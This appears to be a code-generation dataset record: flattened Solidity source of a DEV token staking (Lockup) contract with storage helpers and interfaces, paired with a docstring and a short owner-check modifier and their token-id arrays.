_user) ); } //LastSameRewardsAmountAndBlock function setStorageLastSameRewardsAmountAndBlock( uint256 _amount, uint256 _block ) internal { uint256 record = _amount.mul(BASIS).add(_block); eternalStorage().setUint( getStorageLastSameRewardsAmountAndBlockKey(), record ); } function getStorageLastSameRewardsAmountAndBlock() public view returns (uint256 _amount, uint256 _block) { uint256 record = eternalStorage().getUint( getStorageLastSameRewardsAmountAndBlockKey() ); uint256 amount = record.div(BASIS); uint256 blockNumber = record.sub(amount.mul(BASIS)); return (amount, blockNumber); } function getStorageLastSameRewardsAmountAndBlockKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_LastSameRewardsAmountAndBlock")); } //CumulativeGlobalRewards function setStorageCumulativeGlobalRewards(uint256 _value) internal { eternalStorage().setUint( getStorageCumulativeGlobalRewardsKey(), _value ); } function getStorageCumulativeGlobalRewards() public view returns (uint256) { return eternalStorage().getUint(getStorageCumulativeGlobalRewardsKey()); } function getStorageCumulativeGlobalRewardsKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_cumulativeGlobalRewards")); } //PendingWithdrawal function setStoragePendingInterestWithdrawal( address _property, address _user, uint256 _value ) internal { eternalStorage().setUint( getStoragePendingInterestWithdrawalKey(_property, _user), _value ); } function getStoragePendingInterestWithdrawal( address _property, address _user ) public view returns (uint256) { return eternalStorage().getUint( getStoragePendingInterestWithdrawalKey(_property, _user) ); } function getStoragePendingInterestWithdrawalKey( address _property, address _user ) private pure returns (bytes32) { return keccak256( abi.encodePacked("_pendingInterestWithdrawal", _property, _user) ); } //DIP4GenesisBlock function setStorageDIP4GenesisBlock(uint256 _block) internal { eternalStorage().setUint(getStorageDIP4GenesisBlockKey(), _block); } function getStorageDIP4GenesisBlock() public view returns (uint256) { return eternalStorage().getUint(getStorageDIP4GenesisBlockKey()); } function getStorageDIP4GenesisBlockKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_dip4GenesisBlock")); } //lastStakedInterestPrice function setStorageLastStakedInterestPrice( address _property, address _user, uint256 _value ) internal { eternalStorage().setUint( getStorageLastStakedInterestPriceKey(_property, _user), _value ); } function getStorageLastStakedInterestPrice(address _property, address _user) public view returns (uint256) { return eternalStorage().getUint( getStorageLastStakedInterestPriceKey(_property, _user) ); } function getStorageLastStakedInterestPriceKey( address _property, address _user ) private pure returns (bytes32) { return keccak256( abi.encodePacked("_lastStakedInterestPrice", _property, _user) ); } //lastStakesChangedCumulativeReward function setStorageLastStakesChangedCumulativeReward(uint256 _value) internal { eternalStorage().setUint( getStorageLastStakesChangedCumulativeRewardKey(), _value ); } function getStorageLastStakesChangedCumulativeReward() public view returns (uint256) { return eternalStorage().getUint( getStorageLastStakesChangedCumulativeRewardKey() ); } function getStorageLastStakesChangedCumulativeRewardKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_lastStakesChangedCumulativeReward")); } //LastCumulativeHoldersRewardPrice function setStorageLastCumulativeHoldersRewardPrice(uint256 _holders) internal { eternalStorage().setUint( getStorageLastCumulativeHoldersRewardPriceKey(), _holders ); } function getStorageLastCumulativeHoldersRewardPrice() public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeHoldersRewardPriceKey() ); } function getStorageLastCumulativeHoldersRewardPriceKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("0lastCumulativeHoldersRewardPrice")); } //LastCumulativeInterestPrice function setStorageLastCumulativeInterestPrice(uint256 _interest) internal { eternalStorage().setUint( getStorageLastCumulativeInterestPriceKey(), _interest ); } function getStorageLastCumulativeInterestPrice() public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeInterestPriceKey() ); } function getStorageLastCumulativeInterestPriceKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("0lastCumulativeInterestPrice")); } //LastCumulativeHoldersRewardAmountPerProperty function setStorageLastCumulativeHoldersRewardAmountPerProperty( address _property, uint256 _value ) internal { eternalStorage().setUint( getStorageLastCumulativeHoldersRewardAmountPerPropertyKey( _property ), _value ); } function getStorageLastCumulativeHoldersRewardAmountPerProperty( address _property ) public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeHoldersRewardAmountPerPropertyKey( _property ) ); } function getStorageLastCumulativeHoldersRewardAmountPerPropertyKey( address _property ) private pure returns (bytes32) { return keccak256( abi.encodePacked( "0lastCumulativeHoldersRewardAmountPerProperty", _property ) ); } //LastCumulativeHoldersRewardPricePerProperty function setStorageLastCumulativeHoldersRewardPricePerProperty( address _property, uint256 _price ) internal { eternalStorage().setUint( getStorageLastCumulativeHoldersRewardPricePerPropertyKey(_property), _price ); } function getStorageLastCumulativeHoldersRewardPricePerProperty( address _property ) public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeHoldersRewardPricePerPropertyKey( _property ) ); } function getStorageLastCumulativeHoldersRewardPricePerPropertyKey( address _property ) private pure returns (bytes32) { return keccak256( abi.encodePacked( "0lastCumulativeHoldersRewardPricePerProperty", _property ) ); } //cap function setStorageCap(uint256 _cap) internal { eternalStorage().setUint(getStorageCapKey(), _cap); } function getStorageCap() public view returns (uint256) { return eternalStorage().getUint(getStorageCapKey()); } function getStorageCapKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_cap")); } //CumulativeHoldersRewardCap function setStorageCumulativeHoldersRewardCap(uint256 _value) internal { eternalStorage().setUint( getStorageCumulativeHoldersRewardCapKey(), _value ); } function getStorageCumulativeHoldersRewardCap() public view returns (uint256) { return eternalStorage().getUint(getStorageCumulativeHoldersRewardCapKey()); } function getStorageCumulativeHoldersRewardCapKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_cumulativeHoldersRewardCap")); } //LastCumulativeHoldersPriceCap function setStorageLastCumulativeHoldersPriceCap(uint256 _value) internal { eternalStorage().setUint( getStorageLastCumulativeHoldersPriceCapKey(), _value ); } function getStorageLastCumulativeHoldersPriceCap() public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeHoldersPriceCapKey() ); } function getStorageLastCumulativeHoldersPriceCapKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_lastCumulativeHoldersPriceCap")); } //InitialCumulativeHoldersRewardCap function setStorageInitialCumulativeHoldersRewardCap( address _property, uint256 _value ) internal { eternalStorage().setUint( getStorageInitialCumulativeHoldersRewardCapKey(_property), _value ); } function getStorageInitialCumulativeHoldersRewardCap(address _property) public view returns (uint256) { return eternalStorage().getUint( getStorageInitialCumulativeHoldersRewardCapKey(_property) ); } function getStorageInitialCumulativeHoldersRewardCapKey(address _property) private pure returns (bytes32) { return keccak256( abi.encodePacked( "_initialCumulativeHoldersRewardCap", _property ) ); } //FallbackInitialCumulativeHoldersRewardCap function setStorageFallbackInitialCumulativeHoldersRewardCap(uint256 _value) internal { eternalStorage().setUint( getStorageFallbackInitialCumulativeHoldersRewardCapKey(), _value ); } function getStorageFallbackInitialCumulativeHoldersRewardCap() public view returns (uint256) { return eternalStorage().getUint( getStorageFallbackInitialCumulativeHoldersRewardCapKey() ); } function getStorageFallbackInitialCumulativeHoldersRewardCapKey() private pure returns (bytes32) { return keccak256( abi.encodePacked("_fallbackInitialCumulativeHoldersRewardCap") ); } } // File: contracts/interface/IDevMinter.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IDevMinter { function mint(address account, uint256 amount) external returns (bool); function renounceMinter() external; } // File: contracts/interface/IProperty.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IProperty { function author() external view returns (address); function changeAuthor(address _nextAuthor) external; function changeName(string calldata _name) external; function changeSymbol(string calldata _symbol) external; function withdraw(address _sender, uint256 _value) external; } // File: contracts/interface/IPolicy.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IPolicy { function rewards(uint256 _lockups, uint256 _assets) external view returns (uint256); function holdersShare(uint256 _amount, uint256 _lockups) external view returns (uint256); function authenticationFee(uint256 _assets, uint256 _propertyAssets) external view returns (uint256); function marketApproval(uint256 _agree, uint256 _opposite) external view returns (bool); function policyApproval(uint256 _agree, uint256 _opposite) external view returns (bool); function marketVotingBlocks() external view returns (uint256); function policyVotingBlocks() external view returns (uint256); function shareOfTreasury(uint256 _supply) external view returns (uint256); function treasury() external view returns (address); function capSetter() external view returns (address); } // File: contracts/interface/IAllocator.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IAllocator { function beforeBalanceChange( address _property, address _from, address _to ) external; function calculateMaxRewardsPerBlock() external view returns (uint256); } // File: contracts/interface/ILockup.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface ILockup { function lockup( address _from, address _property, uint256 _value ) external; function update() external; function withdraw(address _property, uint256 _amount) external; function calculateCumulativeRewardPrices() external view returns ( uint256 _reward, uint256 _holders, uint256 _interest, uint256 _holdersCap ); function calculateRewardAmount(address _property) external view returns (uint256, uint256); /** * caution!!!this function is deprecated!!! * use calculateRewardAmount */ function calculateCumulativeHoldersRewardAmount(address _property) external view returns (uint256); function getPropertyValue(address _property) external view returns (uint256); function getAllValue() external view returns (uint256); function getValue(address _property, address _sender) external view returns (uint256); function calculateWithdrawableInterestAmount( address _property, address _user ) external view returns (uint256); function cap() external view returns (uint256); function updateCap(uint256 _cap) external; function devMinter() external view returns (address); } // File: contracts/interface/IMetricsGroup.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IMetricsGroup { function addGroup(address _addr) external; function removeGroup(address _addr) external; function isGroup(address _addr) external view returns (bool); function totalIssuedMetrics() external view returns (uint256); function hasAssets(address _property) external view returns (bool); function getMetricsCountPerProperty(address _property) external view returns (uint256); function totalAuthenticatedProperties() external view returns (uint256); } // File: contracts/src/lockup/Lockup.sol pragma solidity 0.5.17; // prettier-ignore /** * A contract that manages the staking of DEV tokens and calculates rewards. * Staking and the following mechanism determines that reward calculation. * * Variables: * -`M`: Maximum mint amount per block determined by Allocator contract * -`B`: Number of blocks during staking * -`P`: Total number of staking locked up in a Property contract * -`S`: Total number of staking locked up in all Property contracts * -`U`: Number of staking per account locked up in a Property contract * * Formula: * Staking Rewards = M * B * (P / S) * (U / P) * * Note: * -`M`, `P` and `S` vary from block to block, and the variation cannot be predicted. * -`B` is added every time the Ethereum block is created. * - Only `U` and `B` are predictable variables. * - As `M`, `P` and `S` cannot be observed from a staker, the "cumulative sum" is often used to calculate ratio variation with history. * - Reward withdrawal always withdraws the total withdrawable amount. * * Scenario: * - Assume `M` is fixed at 500 * - Alice stakes 100 DEV on Property-A (Alice's staking state on Property-A: `M`=500, `B`=0, `P`=100, `S`=100, `U`=100) * - After 10 blocks, Bob stakes 60 DEV on Property-B (Alice's staking state on Property-A: `M`=500, `B`=10, `P`=100, `S`=160, `U`=100) * - After 10 blocks, Carol stakes 40 DEV on Property-A (Alice's staking state on Property-A: `M`=500, `B`=20, `P`=140, `S`=200, `U`=100) * - After 10 blocks, Alice withdraws Property-A staking reward. The reward at this time is 5000 DEV (10 blocks * 500 DEV) + 3125 DEV (10 blocks * 62.5% * 500 DEV) + 2500 DEV (10 blocks * 50% * 500 DEV). */ contract Lockup is ILockup, UsingConfig, LockupStorage { using SafeMath for uint256; using Decimals for uint256; address public devMinter; struct RewardPrices { uint256 reward; uint256 holders; uint256 interest; uint256 holdersCap; } event Lockedup(address _from, address _property, uint256 _value); event UpdateCap(uint256 _cap); /** * Initialize the passed address as AddressConfig address and Devminter. */ constructor(address _config, address _devMinter) public UsingConfig(_config) { devMinter = _devMinter; } /** * Adds staking. * Only the Dev contract can execute this function. */ function lockup( address _from, address _property, uint256 _value ) external { /** * Validates the sender is Dev contract. */ require(msg.sender == config().token(), "this is illegal address"); /** * Validates _value is not 0. */ require(_value != 0, "illegal lockup value"); /** * Validates the passed Property has greater than 1 asset. */ require( IMetricsGroup(config().metricsGroup()).hasAssets(_property), "unable to stake to unauthenticated property" ); /** * Since the reward per block that can be withdrawn will change with the addition of staking, * saves the undrawn withdrawable reward before addition it. */ RewardPrices memory prices = updatePendingInterestWithdrawal( _property, _from ); /** * Saves variables that should change due to the addition of staking. */ updateValues(true, _from, _property, _value, prices); emit Lockedup(_from, _property, _value); } /** * Withdraw staking. * Releases staking, withdraw rewards, and transfer the staked and withdraw rewards amount to the sender. */ function withdraw(address _property, uint256 _amount) external { /** * Validates the sender is staking to the target Property. */ require( hasValue(_property, msg.sender, _amount), "insufficient tokens staked" ); /** * Withdraws the staking reward */ RewardPrices memory prices = _withdrawInterest(_property); /** * Transfer the staked amount to the sender. */ if (_amount != 0) { IProperty(_property).withdraw(msg.sender, _amount); } /** * Saves variables that should change due to the canceling staking.. */ updateValues(false, msg.sender, _property, _amount, prices); } /** * get cap */ function cap() external view returns (uint256) { return getStorageCap(); } /** * set cap */ function updateCap(uint256 _cap) external { address setter = IPolicy(config().policy()).capSetter(); require(setter == msg.sender, "illegal access"); /** * Updates cumulative amount of the holders reward cap */ ( , uint256 holdersPrice, , uint256 cCap ) = calculateCumulativeRewardPrices(); // TODO: When this function is improved to be called on-chain, the source of `getStorageLastCumulativeHoldersPriceCap` can be rewritten to `getStorageLastCumulativeHoldersRewardPrice`. setStorageCumulativeHoldersRewardCap(cCap); setStorageLastCumulativeHoldersPriceCap(holdersPrice); setStorageCap(_cap); emit UpdateCap(_cap); } /** * Returns the latest cap */ function _calculateLatestCap(uint256 _holdersPrice) private view returns (uint256) { uint256 cCap = getStorageCumulativeHoldersRewardCap(); uint256 lastHoldersPrice = getStorageLastCumulativeHoldersPriceCap(); uint256 additionalCap = _holdersPrice.sub(lastHoldersPrice).mul( getStorageCap() ); return cCap.add(additionalCap); } /** * Store staking states as a snapshot. */ function beforeStakesChanged( address _property, address _user, RewardPrices memory _prices ) private { /** * Gets latest cumulative holders reward for the passed Property. */ uint256 cHoldersReward = _calculateCumulativeHoldersRewardAmount( _prices.holders, _property ); /** * Sets `InitialCumulativeHoldersRewardCap`. * Records this value only when the "first staking to the passed Property" is transacted. */ if ( getStorageLastCumulativeHoldersRewardPricePerProperty(_property) == 0 && getStorageInitialCumulativeHoldersRewardCap(_property) == 0 && getStoragePropertyValue(_property) == 0 ) { setStorageInitialCumulativeHoldersRewardCap( _property, _prices.holdersCap ); } /** * Store each value. */ setStorageLastStakedInterestPrice(_property, _user, _prices.interest); setStorageLastStakesChangedCumulativeReward(_prices.reward); setStorageLastCumulativeHoldersRewardPrice(_prices.holders); setStorageLastCumulativeInterestPrice(_prices.interest); setStorageLastCumulativeHoldersRewardAmountPerProperty( _property, cHoldersReward ); setStorageLastCumulativeHoldersRewardPricePerProperty( _property, _prices.holders ); setStorageCumulativeHoldersRewardCap(_prices.holdersCap); setStorageLastCumulativeHoldersPriceCap(_prices.holders); } /** * Gets latest value of cumulative sum of the reward amount, cumulative sum of the holders reward per stake, and cumulative sum of the stakers reward per stake. */ function calculateCumulativeRewardPrices() public view returns ( uint256 _reward, uint256 _holders, uint256 _interest, uint256 _holdersCap ) { uint256 lastReward = getStorageLastStakesChangedCumulativeReward(); uint256 lastHoldersPrice = getStorageLastCumulativeHoldersRewardPrice(); uint256 lastInterestPrice = getStorageLastCumulativeInterestPrice(); uint256 allStakes = getStorageAllValue(); /** * Gets latest cumulative sum of the reward amount. */ (uint256 reward, ) = dry(); uint256 mReward = reward.mulBasis(); /** * Calculates reward unit price per staking. * Later, the last cumulative sum of the reward amount is subtracted because to add the last recorded holder/staking reward. */ uint256 price = allStakes > 0 ? mReward.sub(lastReward).div(allStakes) : 0; /** * Calculates the holders reward out of the total reward amount. */ uint256 holdersShare = IPolicy(config().policy()).holdersShare( price, allStakes ); /** * Calculates and returns each reward. */ uint256 holdersPrice = holdersShare.add(lastHoldersPrice); uint256 interestPrice = price.sub(holdersShare).add(lastInterestPrice); uint256 cCap = _calculateLatestCap(holdersPrice); return (mReward, holdersPrice, interestPrice, cCap); } /** * Calculates cumulative sum of the holders reward per Property. * To save computing resources, it receives the latest holder rewards from a caller. */ function _calculateCumulativeHoldersRewardAmount( uint256 _holdersPrice, address _property ) private view returns (uint256) { (uint256 cHoldersReward, uint256 lastReward) = ( getStorageLastCumulativeHoldersRewardAmountPerProperty(_property), getStorageLastCumulativeHoldersRewardPricePerProperty(_property) ); /** * `cHoldersReward` contains the calculation of `lastReward`, so subtract it here. */ uint256 additionalHoldersReward = _holdersPrice.sub(lastReward).mul( getStoragePropertyValue(_property) ); /** * Calculates and returns the cumulative sum of the holder reward by adds the last recorded holder reward and the latest holder reward. */ return cHoldersReward.add(additionalHoldersReward); } /** * Calculates cumulative sum of the holders reward per Property. * caution!!!this function is deprecated!!! * use calculateRewardAmount */ function calculateCumulativeHoldersRewardAmount(address _property) external view returns (uint256) { (, uint256 holders, , ) = calculateCumulativeRewardPrices(); return _calculateCumulativeHoldersRewardAmount(holders, _property); } /** * Calculates holders reward and cap per Property. */ function calculateRewardAmount(address _property) external view returns (uint256, uint256) { ( , uint256 holders, , uint256 holdersCap ) = calculateCumulativeRewardPrices(); uint256 initialCap = _getInitialCap(_property); /** * Calculates the cap */ uint256 capValue = holdersCap.sub(initialCap); return ( _calculateCumulativeHoldersRewardAmount(holders, _property), capValue ); } function _getInitialCap(address _property) private view returns (uint256) { uint256 initialCap = getStorageInitialCumulativeHoldersRewardCap( _property ); if (initialCap > 0) { return initialCap; } // Fallback when there is a data past staked. if ( getStorageLastCumulativeHoldersRewardPricePerProperty(_property) > 0 || getStoragePropertyValue(_property) > 0 ) { return getStorageFallbackInitialCumulativeHoldersRewardCap(); } return 0; } /** * Updates cumulative sum of the maximum mint amount calculated by Allocator contract, the latest maximum mint amount per block, * and the last recorded block number. * The cumulative sum of the maximum mint amount is always added. * By recording that value when the staker last stakes, the difference from the when the staker stakes can be calculated. */ function update() public { /** * Gets the cumulative sum of the maximum mint amount and the maximum mint number per block. */ (uint256 _nextRewards, uint256 _amount) = dry(); /** * Records each value and the latest block number. */ setStorageCumulativeGlobalRewards(_nextRewards); setStorageLastSameRewardsAmountAndBlock(_amount, block.number); } /** * Referring to the values recorded in each storage to returns the latest cumulative sum of the maximum mint amount and the latest maximum mint amount per block. */ function dry() private view returns (uint256 _nextRewards, uint256 _amount) { /** * Gets the latest mint amount per block from Allocator contract. */ uint256 rewardsAmount = IAllocator(config().allocator()) .calculateMaxRewardsPerBlock(); /** * Gets the maximum mint amount per block, and the last recorded block number from `LastSameRewardsAmountAndBlock` storage. */ ( uint256 lastAmount, uint256 lastBlock ) = getStorageLastSameRewardsAmountAndBlock(); /** * If the recorded maximum mint amount per block and the result of the Allocator contract are different, * the result of the Allocator contract takes precedence as a maximum mint amount per block. */ uint256 lastMaxRewards = lastAmount == rewardsAmount ? rewardsAmount : lastAmount; /** * Calculates the difference between the latest block number and the last recorded block number. */ uint256 blocks = lastBlock > 0 ? block.number.sub(lastBlock) : 0; /** * Adds the calculated new cumulative maximum mint amount to the recorded cumulative maximum mint amount. */ uint256 additionalRewards = lastMaxRewards.mul(blocks); uint256 nextRewards = getStorageCumulativeGlobalRewards().add( additionalRewards ); /** * Returns the latest theoretical cumulative sum of maximum mint amount and maximum mint amount per block. */ return (nextRewards, rewardsAmount); } /** * Returns the staker reward as interest. */ function _calculateInterestAmount(address _property, address _user) private view returns ( uint256 _amount, uint256 _interestPrice, RewardPrices memory _prices ) { /** * Get the amount the user is staking for the Property. */ uint256 lockedUpPerAccount = getStorageValue(_property, _user); /** * Gets the cumulative sum of the interest price recorded the last time you withdrew. */ uint256 lastInterest = getStorageLastStakedInterestPrice( _property, _user ); /** * Gets the latest cumulative sum of the interest price. */ ( uint256 reward, uint256 holders, uint256 interest, uint256 holdersCap ) = calculateCumulativeRewardPrices(); /** * Calculates and returns the latest withdrawable reward amount from the difference. */ uint256 result = interest >= lastInterest ? interest.sub(lastInterest).mul(lockedUpPerAccount).divBasis() : 0; return ( result, interest, RewardPrices(reward, holders, interest, holdersCap) ); } /** * Returns the total rewards currently available for withdrawal. (For calling from inside the contract) */ function _calculateWithdrawableInterestAmount( address _property, address _user ) private view returns (uint256 _amount, RewardPrices memory _prices) { /** * If the passed Property has not authenticated, returns always 0. */ if ( IMetricsGroup(config().metricsGroup()).hasAssets(_property) == false ) { return (0, RewardPrices(0, 0, 0, 0)); } /** * Gets the reward amount in saved without withdrawal. */ uint256 pending = getStoragePendingInterestWithdrawal(_property, _user); /** * Gets the reward amount of before DIP4. */ uint256 legacy = __legacyWithdrawableInterestAmount(_property, _user); /** * Gets the latest withdrawal reward amount. */ ( uint256 amount, , RewardPrices memory prices ) = _calculateInterestAmount(_property, _user); /** * Returns the sum of all values. */ uint256 withdrawableAmount = amount.add(pending).add(legacy); return (withdrawableAmount, prices); } /** * Returns the total rewards currently available for withdrawal. (For calling from external of the contract) */ function calculateWithdrawableInterestAmount( address _property, address _user ) public view returns (uint256) { (uint256 amount, ) = _calculateWithdrawableInterestAmount( _property, _user ); return amount; } /** * Withdraws staking reward as an interest. */ function _withdrawInterest(address _property) private returns (RewardPrices memory _prices) { /** * Gets the withdrawable amount. */ ( uint256 value, RewardPrices memory prices ) = _calculateWithdrawableInterestAmount(_property, msg.sender); /** * Sets the unwithdrawn reward amount to 0. */ setStoragePendingInterestWithdrawal(_property, msg.sender, 0); /** * Updates the staking status to avoid double rewards. */ setStorageLastStakedInterestPrice( _property, msg.sender, prices.interest ); __updateLegacyWithdrawableInterestAmount(_property, msg.sender); /** * Mints the reward. */ require( IDevMinter(devMinter).mint(msg.sender, value), "dev mint failed" ); /** * Since the total supply of tokens has changed, updates the latest maximum mint amount. */ update(); return prices; } /** * Status updates with the addition or release of staking. */ function updateValues( bool _addition, address _account, address _property, uint256 _value, RewardPrices memory _prices ) private { beforeStakesChanged(_property, _account, _prices); /** * If added staking: */ if (_addition) { /** * Updates the current staking amount of the protocol total. */ addAllValue(_value); /** * Updates the current staking amount of the Property. */ addPropertyValue(_property, _value); /** * Updates the user's current staking amount in the Property. */ addValue(_property, _account, _value); /** * If released staking: */ } else { /** * Updates the current staking amount of the protocol total. */ subAllValue(_value); /** * Updates the current staking amount of the Property. */ subPropertyValue(_property, _value); /** * Updates the current staking amount of the Property. */ subValue(_property, _account, _value); } /** * Since each staking amount has changed, updates the latest maximum mint amount. */ update(); } /** * Returns the staking amount of the protocol total. */ function getAllValue() external view returns (uint256) { return getStorageAllValue(); } /** * Adds the staking amount of the protocol total. */ function addAllValue(uint256 _value) private { uint256 value = getStorageAllValue(); value = value.add(_value); setStorageAllValue(value); } /** * Subtracts the staking amount of the protocol total. */ function subAllValue(uint256 _value) private { uint256 value = getStorageAllValue(); value = value.sub(_value); setStorageAllValue(value); } /** * Returns the user's staking amount in the Property. */ function getValue(address _property, address _sender) external view returns (uint256) { return getStorageValue(_property, _sender); } /** * Adds the user's staking amount in the Property. */ function addValue( address _property, address _sender, uint256 _value ) private { uint256 value = getStorageValue(_property, _sender); value = value.add(_value); setStorageValue(_property, _sender, value); } /** * Subtracts the user's staking amount in the Property. */ function subValue( address _property, address _sender, uint256 _value ) private { uint256 value = getStorageValue(_property, _sender); value = value.sub(_value); setStorageValue(_property, _sender, value); } /** * Returns whether the user is staking in the Property. */ function hasValue( address _property, address _sender, uint256 _amount ) private view returns (bool) { uint256 value = getStorageValue(_property, _sender); return value >= _amount; } /** * Returns the staking amount of the Property. */ function getPropertyValue(address _property) external view returns (uint256) { return getStoragePropertyValue(_property); } /** * Adds the staking amount of the Property. */ function addPropertyValue(address _property, uint256 _value) private { uint256 value = getStoragePropertyValue(_property); value = value.add(_value); setStoragePropertyValue(_property, value); } /** * Subtracts the staking amount of the Property. */ function subPropertyValue(address _property, uint256 _value) private { uint256 value = getStoragePropertyValue(_property); uint256 nextValue = value.sub(_value); setStoragePropertyValue(_property, nextValue); } /** * Saves the latest reward amount as an undrawn amount. */ function updatePendingInterestWithdrawal(address _property, address _user) private returns (RewardPrices memory _prices) { /** * Gets the latest reward amount. */ ( uint256 withdrawableAmount, RewardPrices memory prices ) = _calculateWithdrawableInterestAmount(_property, _user); /** * Saves the amount to `PendingInterestWithdrawal` storage. */ setStoragePendingInterestWithdrawal( _property, _user, withdrawableAmount ); /** * Updates the reward amount of before DIP4 to prevent further addition it. */ __updateLegacyWithdrawableInterestAmount(_property, _user); return prices; } /** * Returns the reward amount of the calculation model before DIP4. * It can be calculated by subtracting "the last cumulative sum of reward unit price" from * "the current cumulative sum of reward unit price," and multiplying by the staking amount. */ function __legacyWithdrawableInterestAmount( address _property, address _user ) private view returns (uint256) { uint256 _last = getStorageLastInterestPrice(_property, _user); uint256 price = getStorageInterestPrice(_property); uint256 priceGap = price.sub(_last); uint256 lockedUpValue = getStorageValue(_property, _user); uint256 value = priceGap.mul(lockedUpValue); return value.divBasis(); } /** * Updates and treats the reward of before DIP4 as already received. */ function __updateLegacyWithdrawableInterestAmount( address _property, address _user ) private { uint256 interestPrice = getStorageInterestPrice(_property); if (getStorageLastInterestPrice(_property, _user) != interestPrice) { setStorageLastInterestPrice(_property, _user, interestPrice); } } function ___setFallbackInitialCumulativeHoldersRewardCap(uint256 _value) external onlyOwner { setStorageFallbackInitialCumulativeHoldersRewardCap(_value); } }
* Modifiers to validate that only the owner can execute./
modifier onlyCurrentOwner() { require(msg.sender == currentOwner, "not current owner"); _; }
5,442,572
[ 1, 4625, 348, 7953, 560, 30, 380, 3431, 3383, 358, 1954, 716, 1338, 326, 3410, 848, 1836, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 9606, 1338, 3935, 5541, 1435, 288, 203, 565, 2583, 12, 3576, 18, 15330, 422, 783, 5541, 16, 315, 902, 783, 3410, 8863, 203, 565, 389, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 